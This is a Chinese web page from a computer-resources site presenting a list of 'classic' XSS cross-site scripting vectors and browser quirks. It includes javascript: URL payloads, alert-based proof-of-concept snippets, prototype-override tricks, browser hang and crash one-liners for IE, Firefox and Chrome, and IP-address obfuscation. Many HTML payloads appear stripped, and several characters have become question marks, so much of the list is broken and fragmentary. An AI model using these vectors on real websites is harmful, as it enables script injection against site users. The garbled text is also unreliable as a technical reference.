一些经典的XSS跨站代码整理 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    一些经典的XSS跨站代码整理

'); IE8

    JSON.parse('{"__proto__":["a",1]}')

    location++

    IE valid syntax: 我,啊=1,b=[我,啊],alert(我,啊)

    alert('aaa\0bbb') IE only show aaa http://jsbin.com/emekog

    based on H5SC#88 #Opera

    Function('alert(arguments.callee.caller)')()

    firefox dos? while(1)find();

   

    Inject enabled css expression,breaking standard mode!

    and umm...cute FF!

   

    works on webkit~

   

    vbs:alert+-[]

   

    Firefox vector click

   

    Inj>>

    [code]Webkit X-XSS-Protection header is enabled just now :P

    22 letters e.g http://fiddle.jshell.net./KG7fR/5/show/

    ">

    Distinctive IE

    Also ">x

   

IE only

    <1h name="">

    works in not-IE

    javascript=1;for(javascript. in RuntimeObject());javascript=='javascript'

    Firefox Sanbox object

    works in firefox

    for(x in document.open); Crash your IE 6:>

    localStorage.setItem('setItem',1)

    Only to find '?'.toUpperCase()==='?'.toUpperCase()

    J? H? T? W? Y? i? length==2

    '?'.toUpperCase()=='I'

    Also '?'.toUpperCase()=='SS'

    '?.toUpperCase() =='FF'// alike: ? FI ? FL ? FFI ? FFL ? ST ? ST

    #Opera data:text/html;base64,<<<<<<<>>>>>>>>>

    Firefox always the most cute data:_,

    xx

    http://?????????? works in Firefox

    RegExp.prototype.valueOf=alert,/-/-/-/;//IE,is there anything else?

    location='javascript:alert(1)'

    for({} in {});

    興味深いhttp://jsbin.com/inekab for Opera only

    x That's a relative path?

    document.frames==window.frames

    x.protocol=='http:' on #firefox

    (0).constructor.constructor=function(){alert(eval(arguments[0].substr(6)))} Easy to decode jjencode and aaencode :D

    127.0x000000001==127.0.0.1

    Chrome input value block

   

   

    有趣的isindex

    chrome:xx - >chrome://crash/ crash?

    Chrome input enter fucked!

   

最新文章